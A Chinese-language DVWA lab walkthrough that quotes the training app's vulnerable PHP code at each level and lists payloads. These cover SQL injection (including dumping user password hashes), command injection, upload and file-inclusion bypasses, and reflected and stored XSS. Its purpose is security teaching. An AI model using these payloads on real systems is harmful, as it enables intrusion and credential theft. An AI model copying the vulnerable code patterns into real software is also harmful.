28

0x00 环境

[TOC]

php环境:5.4.45

mysql环境:5.6.35

dvwa版本:官网最新

0x01 SQL注入漏洞

Low级别漏洞代码

if( isset( $_REQUEST[ 'Submit' ] ) ) {//判断request中的submit是否已设置
// Get input
$id = $_REQUEST[ 'id' ];//获取id的值

// Check database
//此处为拼接sql语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//执行成功后将结果赋给变量,执行出错则终止代码,并抛出错误
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {//循环取出数据
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

漏洞点

//此处执行拼接了用户输入的参数,id为字符型注入,需要闭合单引号
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

payload:1‘ 语句 #

使用法师的工具中的mysql监控可监控语句

1' and 1=1#
1' and 1=2#
1' order by 2#
1' union select user(),database()#
1' union select user(),database()#
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
1' union select 1,column_name from information_schema.columns where table_name='users'#
1' union select user,password from users#

image-20200527232504032

image-20200527235116094

Medium级别漏洞代码

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

//过滤字符
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

//使用双引号包裹,拼接参数
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

漏洞点

//虽然使用mysqli_real_escape_string函数来转义字符,但此处未使用单引号包裹,导致形成数字型注入,直接写payload即可,数字型注入不需要单引号或者双引号,所以mysqli_real_escape_string函数在此处无效
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

payload:
1 union select 1,2 #
1 union select user(),database() #
1 union select 1,table_name from information_schema.tables where table_schema=database() #
1 union select 1,column_name from information_schema.columns where table_name=0x7573657273 #
1 union select user,password from users #

image-20200528112157354

image-20200528123452581

High级别漏洞代码

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

漏洞点:

//此段代码未做过滤,且比LOW文件中的代码多了limit 1,使用#号注释即可,注入为字符型,闭合单引号即可
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

payload:
1' union select 1,2 #
1' union select user(),database() #
1' union select 1,table_name from information_schema.tables where table_schema=database() #
1' union select 1,column_name from information_schema.columns where table_name='users' #
1' union select user,password from users #

image-20200528160053951

image-20200528160042669

image-20200528160135072

0x02 命令执行漏洞

Low级别漏洞代码

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

漏洞点

//shell_exec执行命令,后面未做过滤,直接拼接字符串,执行多个命令可使用;分割
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

payload:
127.0.0.1;whoami
127.0.0.1 && pwd
127.0.0.1 & whoami
127.0.0.1 || whoami
127.0.0.1 | whoami

image-20200528170254678

Medium级别漏洞代码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(//此处过滤&& 和 ; 禁止执行多行命令
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

漏洞点

// 此处过滤&& 和 ; ,但是未过滤||, |,&
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

payload:
ipconfig || whoami
ipconfig | whoami
ipconfig & whoami

image-20200528171502405

High级别漏洞代码

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

漏洞点

//以下为过滤的字符,经测试&&、&、;都不可用,|、||,存在绕过的现象 
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

payload
绕过 '| ' => '' |多+了一个空格为|
可使用paylaod: ipconfig |ifocnfig 来绕过
绕过 '||' => '', ||两边+空格即可绕过
payload: ipconfig || ifconfig

PS:目前暂未发现其他符号可使用此方法绕过,只有|、||成功。

image-20200528174300953

image-20200528174453647

0x03 文件上传漏洞

Low级别漏洞代码

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";//目录
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );//目录拼接文件名

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {//移动文件到目录下
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";//返回目录路径
}
}
//未做文件后缀名过滤,可上传任意文件

image-20200528175650033

image-20200528175747455

Medium级别漏洞代码

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

漏洞点

  //此处设置类型只能是image/jpeg、image/png,并且文件小于100000
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

//修改MIME类型
//修改content-type为image/jpeg、image/png 即可绕过验证,上传任意文件

image-20200529150623250

image-20200529150735386

High级别漏洞代码

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

漏洞点

//白名单验证文件后缀名必须为jpg、jpeg、png,且只验证最后一个.的后缀名,文件大小小于1000000	
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&

//此漏洞需结合文件包含来利用漏洞,上传一个图片马,用burp抓包,文件尾添加php代码,使用包含文件漏洞
paylaod:
http://dvwa.com/vulnerabilities/fi/?page=file://C:/phpStudy/WWW/dvwa/hackable/uploads/z.png

image-20200529175029137

代码成功执行

image-20200529175150370

0x04 文件包含漏洞

Low级别漏洞代码

// The page we wish to display
$file = $_GET[ 'page' ];//通过GET方式访问本地文件并包含,如果开始远程包含,也可使用远程包含。

image-20200530022423028

image-20200530140153305

Medium级别漏洞代码

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

漏洞点

//过滤http协议和../ 、..\
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

//绕过方法,可以使用大小写、双写、file协议、..././,如果测试中获取到绝对路径,也可使用绝对路径来包含
payload:
http://dvwa.com/vulnerabilities/fi/?page=Http://127.0.0.1/phpinfo.php
http://dvwa.com/vulnerabilities/fi/?page=..././..././..././phpinfo.php
http://dvwa.com/vulnerabilities/fi/?page=C:/phpStudy/WWW/phpinfo.php
http://dvwa.com/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/phpinfo.php

image-20200530143948802

image-20200530144533014

image-20200530144723768

High级别漏洞代码

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//只能使用file协议,并且file变量不等了include,此处直接包含其他文件即可
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
payload:
http://dvwa.com/vulnerabilities/fi/?page=file://C:\phpStudy\WWW\phpinfo.php

image-20200530151017862

0x05 反射型XSS漏洞

Low级别漏洞

header ("X-XSS-Protection: 0");

// Is there any input?
//获取地址栏name的值,并且name不等于空
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
//将地址栏内容输出
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
//由于未做任何过滤,直接弹出xss代码
payload: <script>alert(/xss/)</script>

image-20200531014947963

Medium级别漏洞代码

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//此处过滤了<script>
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}

//绕过,使用大小写绕过、双写绕过或其他函数绕过
payload:
<body onload="alert('xss')"></body>
<input onfocus="alert('1')" autofocus/>
<sc<script>ript>alert(/xss/)</script>
<SCRIPT>alert(/xss/)</script>

image-20200531015521665

High级别漏洞代码

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
//此处使用正则表达式对大小写,双写等做了过滤
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
//绕过方法,使用其他函数绕过
payload:
<body onload="alert('xss')"></body>
<input onfocus="alert('1')" autofocus/>
<img src=1 onerror=alert(/xss/)>

image-20200531020025026

0x06 存储型XSS漏洞

Low级别漏洞代码

if( isset( $_POST[ 'btnSign' ] ) ) {//判断post中的btnsign是否已设置
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );//获取参数并移动字符串两端空白字符
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );//将转义的字符串去除,例如\',去掉\
//判断是否成功连接数据库,并且数据库返回的值是一个对象,是,就讲变量中的字符以合法的sql语句存入数据库
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
//此处直接拼接,且未对xss语句进行过滤导致存储型xss
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}
payload:<script>alert(/xss/)</script>

image-20200531021212990

Medium级别漏洞代码

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
//strip_tags 从字符串中剥离HTML和PHP标签,并使用addslashes转义
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
//过滤script
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}
//绕过方法,在审查元素中对name值进行修改,绕过name长度限制,使用大小写绕过
payload:
<SCRIPT>alert(/time/)</script>
<sc<script>ript>alert(/xss/)</script>

image-20200531021813496

High级别漏洞代码

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
//此处使用正则表达式对大小写,双写等做了过滤
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}
//绕过方法,使用其他函数绕过
payload:
<body onload="alert('xss')"></body>
<input onfocus="alert('1')" autofocus/>
<img src=1 onerror=alert(/xss/)>

image-20200531022306198